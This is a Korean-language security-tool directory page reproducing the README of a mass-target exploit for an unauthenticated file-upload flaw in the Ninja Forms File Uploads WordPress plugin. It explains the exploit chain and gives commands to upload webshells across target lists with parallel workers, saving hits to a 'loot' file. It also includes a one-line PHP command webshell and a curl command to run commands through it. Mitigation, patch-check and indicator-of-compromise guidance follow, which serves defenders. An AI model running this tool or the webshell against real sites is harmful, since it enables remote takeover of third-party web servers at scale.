Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0740-mass — PoC untuk CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — 인증되지 않은 사용자의 임의 파일 업로드로 인해 RCE(원격 코드 실행)로 이어질 수 있는 취약점 | Kitploit
도구/GitHubGitHub/exdev994/cve-2026-0740-mass
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubexdev994/cve-2026-0740-mass

CVE-2026-0740-mass

PoC untuk CVE-2026-0740: Ninja Forms File Uploads <= 3.3.26 — 인증되지 않은 사용자의 임의 파일 업로드로 인해 RCE(원격 코드 실행)로 이어질 수 있는 취약점

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0740 — 대량 대상 익스플로잇 엔진

저자: 0xNuts
기여자: Cursor
저장소: https://github.com/ExDev994/CVE-2026-0740-mass

CVE-2026-0740에 대한 PoC: Ninja Forms File Uploads <= 3.3.26 — 인증되지 않은 임의 파일 업로드, 이는 RCE로 이어질 수 있습니다.

초기 취약점은 Sélim Lanouar (@whattheslime)에 의해 발견되었습니다. 대량 대상 PoC 엔진은 0xNuts가 Cursor의 기여로 개발했습니다.


면책 조항

이 저장소는 보안 연구 및 방어 목적 (승인된 침투 테스트, 서면 승인을 받은 레드팀, 패치 검증 및 강화)으로만 제공됩니다.

  • 소유자의 명시적 허가 없이 시스템에 사용하지 마십시오.
  • 저자는 이 정보의 오용에 대해 책임을 지지 않습니다.

취약점 요약

WordPress용 Ninja Forms - File Uploads 플러그인은 버전 3.3.26까지(포함) 인증되지 않은 임의 파일 업로드에 취약합니다.

익스플로잇 체인:

  1. 인증되지 않은 공격자가 임의의 field_id를 사용하여 AJAX 액션 nf_fu_get_new_nonce를 통해 업로드 nonce를 획득합니다.
  2. nf_fu_upload 핸들러는 업로드 파일의 확장자(예: image.jpg)를 검증하지만, 공격자는 POST 파라미터(image_jpg)를 통해 대상 파일 이름을 덮어쓸 수 있습니다.
  3. 대상 파일 이름이 충분한 검증 없이 move_uploaded_file()에 전달되어 임의 확장자 및 경로 탐색(../) 이 가능해집니다.

전체 패치는 3.3.27+ 버전에서 사용할 수 있습니다.


필수 조건

  • Python 3.10+
  • 대상에 Ninja Forms 및 Ninja Forms - File Uploads (<= 3.3.26) 플러그인이 설치 및 활성화되어 있어야 함
  • 사전에 존재하는 업로드 폼이나 필드가 필요하지 않음

의존성 설치

이 저장소에는 CVE-2026-0740.py와 README.md만 포함되어 있습니다. 의존성을 수동으로 설치하십시오:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate          # Linux/macOS/WSL
# .venv\Scripts\activate           # Windows

pip install httpx==0.28.1 socksio==1.0.0

사용 방법

CLI 도움말

root@kitploit:~
python3 CVE-2026-0740.py -h

인수 옵션

참고: -t 또는 -f 중 정확히 하나를 사용해야 합니다.


단일 대상 모드

root@kitploit:~
python3 CVE-2026-0740.py -t http://target.com --shell shell.php

명시적 경로 탐색 사용:

root@kitploit:~
python3 CVE-2026-0740.py -t http://target.com --shell shell.php -d ../../../shell.php

대량 대상 모드

target.txt 파일을 생성합니다:

root@kitploit:~
http://site1.com
https://site2.com
10.0.0.5
# 주석 줄은 무시됩니다.

실행:

root@kitploit:~
python3 CVE-2026-0740.py -f target.txt --shell shell.php

worker 수와 loot 파일 튜닝:

root@kitploit:~
python3 CVE-2026-0740.py -f target.txt --shell shell.php -w 50 -o loot.txt

성공적으로 업로드된 쉘 URL은 loot 파일에 기록됩니다 (추가 모드).


최소 웹쉘 예제

root@kitploit:~
echo '<?php system($_GET["cmd"] ?? ""); ?>' > shell.php

업로드 성공 후 스크립트가 쉘 URL을 표시합니다. 확인 (실습/승인된 대상에서만):

root@kitploit:~
curl "http://target.com/wp-content/shell.php?cmd=id"

플러그인 버전 탐지 (선택 사항)

root@kitploit:~
httpx -fr -u http://target.com -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+'

수정 방법 (완화)

1. 플러그인 업데이트 (최우선)

Ninja Forms - File Uploads를 즉시 3.3.27 이상 버전으로 업데이트하십시오.

  • WordPress 관리자 → 플러그인 → Ninja Forms - File Uploads 버전 확인
  • 자동 업데이트가 불가능한 경우 공식 공급업체에서 패치된 버전을 다운로드하십시오

2. 패치 확인

업데이트 후:

  • 플러그인 버전이 >= 3.3.27인지 확인
  • wp-admin/admin-ajax.php 엔드포인트에서 action=nf_fu_get_new_nonce / action=nf_fu_upload를 테스트 — 임의 업로드가 거부되어야 함
  • 스캐너 (Nuclei 템플릿 CVE-2026-0740)로 재스캔하여 확인

3. 침해 지표 (IoC)

WordPress 업로드 디렉터리 확인:

root@kitploit:~
wp-content/uploads/ninja-forms/tmp/
wp-content/uploads/ninja-forms/
wp-content/

이상한 파일 찾기: .php, .pht, .phtml, .phar, .html, .svg, .js 파일이 존재해서는 안 됩니다.

또한 웹 서버 로그에서 다음 요청을 확인하십시오:

root@kitploit:~
/wp-admin/admin-ajax.php

파라미터 action=nf_fu_get_new_nonce 또는 action=nf_fu_upload가 포함된 요청.

4. 추가 강화

  • WAF / rate limiting을 /wp-admin/admin-ajax.php에 적용하여 대량 업로드 남용 차단

  • 웹 서버 설정을 통해 wp-content/uploads/ 디렉터리에서 PHP 실행 비활성화:

    Apache (.htaccess in uploads/):

    root@kitploit:~
    <FilesMatch "\.php$">
      Require all denied
    </FilesMatch>
    

    Nginx:

    root@kitploit:~
    location ~* /wp-content/uploads/.*\.php$ {
        deny all;
    }
    
  • 최소 권한 원칙: 업로드 파일 권한이 웹 서버에 의해 필요한 디렉터리 외부에서 쓰기 가능하지 않도록 설정

  • 모니터링: 외부 IP 또는 높은 볼륨에서 admin-ajax.php로 nf_fu_* 액션 POST 알림 설정

  • 백업 및 침해 대응: IoC 발견 시 사이트 격리, DB/관리자 자격 증명 교체, 다른 플러그인/테마 감사

5. 플러그인을 사용하지 않는 경우

업로드 기능이 필요하지 않다면 Ninja Forms - File Uploads 플러그인을 비활성화하고 삭제하십시오.


참고 자료

  • CVE-2026-0740
  • Lexfo — 기술 심층 분석
  • Wordfence — 영향을 받은 5만 개의 WordPress 사이트
  • GHSA-v8wq-rjpf-669f
  • Nuclei 템플릿
도구 다운로드
벡터 / 확장자<= 3.3.243.3.253.3.263.3.27
경로 탐색 (../)PASS---
.phpPASS---
.phtml, .pharPASSPASS--
.phtPASSPASSPASS-
.html, .svg, .jsPASSPASSPASS-
플래그기능
-t, --target단일 대상 (단일 URL)
-f, --targets-file대상 목록이 포함된 .txt 파일 (한 줄에 하나의 URL)
--shell업로드할 페이로드/웹쉘 파일 (필수)
-d, --dest대상 경로 탐색 (기본값: ../../../)
-w, --workers동시 스레드 수 (기본값: 20)
-o, --output성공한 쉘 URL을 저장할 파일 (기본값: results.txt)
-x, --proxyHTTP 프록시 (예: http://127.0.0.1:8080)
-H, --headers사용자 정의 헤더 (형식: 'Header: Value')
--timeoutHTTP 타임아웃 (초) (기본값: 10)